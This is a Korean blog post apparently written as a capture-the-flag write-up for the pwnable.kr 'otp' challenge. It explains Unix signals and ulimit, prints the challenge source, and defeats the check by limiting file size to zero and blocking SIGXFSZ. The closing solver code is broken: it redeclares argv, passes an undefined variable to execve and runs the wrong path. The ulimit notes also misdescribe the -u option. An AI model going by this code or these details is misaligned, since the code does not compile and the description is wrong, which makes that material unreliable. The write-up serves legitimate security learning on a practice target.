달력

5

« 2024/5 »

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
2017. 7. 9. 15:19

[문제풀이] pwnable.kr - otp Wargames/pwnable.kr2017. 7. 9. 15:19





※ 사전지식



SIGNAL 정의 

신호는 유닉스, 유닉스 계열, POSIX 호환 운영체제에 쓰이는 제한된 형태의 프로세스 간 통신이다. 

신호는 프로세스나 동일 프로세스 내의 특정 스레드로 전달되는 비동기식 통보이다. 

출처 : https://ko.wikipedia.org/wiki/유닉스_신호




사용자가 임의로 발생시킬 수 있는 신호도 존재한다.

  • Ctrl+C : SIGINT 발생, 기본적으로 프로세스를 종료하는 역할을 한다.
  • Ctrl+Z : SIGTSTP 발생, 기본적으로 프로세스가 실행을 유예시키는 역할을 한다.
  • Ctrl+\ : SIGQUIT 발생, 기본적으로 프로세스를 종료시킨 뒤 코어를 덤프하는 역할을 한다.
  • Ctrl+T : SIGINFO 발생, 명령에서 지원하는 경우 기본적으로 운영체제가 실행 중인 명령에 대한 정보를 표시한다.


요즘 운영체제에서 이러한 기본 키 조합들은 stty 명령으로 변경시킬 수 있다. 




SIGNAL 종류 


출처 : https://ko.wikipedia.org/wiki/유닉스_신호





ulimit 명령어


해당 명령어는 프로세스의 자원 한도를 설정하는 명령으로 Soft 한도와 Hard 한도 두 가지가 존재한다.


Soft  : 새로운 프로그램을 생성하면 기본으로 적용되는 한도

Hard : 소프트 한도에서 최대로 늘릴 수 있는 한도 


  • ulimit [옵션] 값

-a : 모든 제한 사항을 보여줌.

-c : 최대 코어 파일 사이즈

-d : 프로세스 데이터 세그먼트의 최대 크기

-f : shell에 의해 만들어질 수 있는 파일의 최대 크기

-s : 최대 스택 크기

-p : 파이프 크기

-n : 오픈 파일의 최대수

-u : 오픈파일의 최대수

-v : 최대 가상메모리의 양

-S : soft 한도

-H : hard 한도


 

  • 항목 설명 

core file size          (blocks, -c) 0                        

       // 코어파일의 최대크기

data seg size           (kbytes, -d) unlimited           

       // 프로세스의 데이터 세그먼트 최대크기

scheduling priority             (-e) 0                      

file size               (blocks, -f) unlimited           

      // 쉘에서 생성되는 파일의 최대 크기

pending signals                 (-i) 14943

max locked memory       (kbytes, -l) 64

max memory size         (kbytes, -m) unlimited       

      // resident set size의 최대 크기(메모리 최대크기)

open files                      (-n) 1024                    

      // 한 프로세스에서 열 수 있는 open file descriptor의 최대 숫자(열수 있는 최대 파일 수)

pipe size            (512 bytes, -p) 8                          

      // 512-바이트 블럭의 파이프 크기

POSIX message queues     (bytes, -q) 819200

real-time priority              (-r) 0

stack size              (kbytes, -s) 10240

cpu time               (seconds, -t) unlimited             

      // 총 누적된 CPU 시간(초)

max user processes              (-u) 1024                  

      // 단일 유저가 사용가능한 프로세스의 최대 갯수

virtual memory          (kbytes, -v) unlimited     

      // 쉘에서 사용가능 한 가상 메모리의 최대 용량

file locks                      (-x) unlimited



사전지식 끝! 




※ 문제풀이


먼저 소감을 잠시 말하자면 기발했다. 

내가 예상한 접근 방법이 다 틀렸고 다시 한번 사고의 확장을 할 수 있었다. 


문제를 낸 사람이나 푼 사람이나 기발하다.


Signal 과 ulimit 명령어의 조합으로 이런 것도 가능하다니...

아직 경험 못해본 것이 너무 많다. 



그럼 문제풀이로 들어가도록 하겠다. 


[그림 1] 문제 구동시


사이트 문제에서도 알 수 있드시 문제에서 생성한 랜덤 숫자를 맞추는 문제이다.

코드는 아래와 같다. 


#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <fcntl.h>


int main(int argc, char* argv[]){

        char fname[128];

        unsigned long long otp[2];


        if(argc!=2){

                printf("usage : ./otp [passcode]\n");

                return 0;

        }


        int fd = open("/dev/urandom", O_RDONLY);

        if(fd==-1) exit(-1);


        if(read(fd, otp, 16)!=16) exit(-1);

        close(fd);


        sprintf(fname, "/tmp/%llu", otp[0]);

        FILE* fp = fopen(fname, "w");

        if(fp==NULL){ exit(-1); }

        fwrite(&otp[1], 8, 1, fp);

        fclose(fp);


        printf("OTP generated.\n");


        unsigned long long passcode=0;

        FILE* fp2 = fopen(fname, "r");

        if(fp2==NULL){ exit(-1); }

        fread(&passcode, 8, 1, fp2);

        fclose(fp2);


        if(strtoul(argv[1], 0, 16) == passcode){

                printf("Congratz!\n");

                system("/bin/cat flag");

        }

        else{

                printf("OTP mismatch\n");

        }


        unlink(fname);

        return 0;

}


위 코드에서 굵은 글자 형태로 표현한 것이 핵심인 듯하다. 


쉘에서 파일을 생성하는 과정이다. 이제 저 부분을 가지고 장난을 친다. 


쉘에서 생성할 수 있는 파일의 크기를 0으로 제한한다.

이럴 경우 SIGXFSZ 신호가 발생하는데 이를 무시하고 프로세스를 동작할 경우 비교 값은 NULL이 된다. 

따라서 내가 NULL을 입력할 경우 조건이 만족하면서 플래그 값을 알 수 있다. 


어메이징!! 쇼킹!! 



[그림 2] 정답



문제풀이에 사용된 소스는 아래와 같다 .

#include <stdio.h>

#include <stdlib.h>

#include <signal.h>



int main(int argc, char*argv[]) {


  sigset_t mask;

  sigemptyset(&mask);

  sigaddset(&mask, SIGXFSZ);


  sigprocmask(SIG_BLOCK, &mask, NULL);


  char *argv[] = { "otp", "\x00", NULL};

  char *env[] = {NULL};


  execve(argv[1], arg, env);

 

  return 0;

}



문제풀이 끝! 



색다른 방법을 배울수 있는 좋은 문제였따!!





:
Posted by einai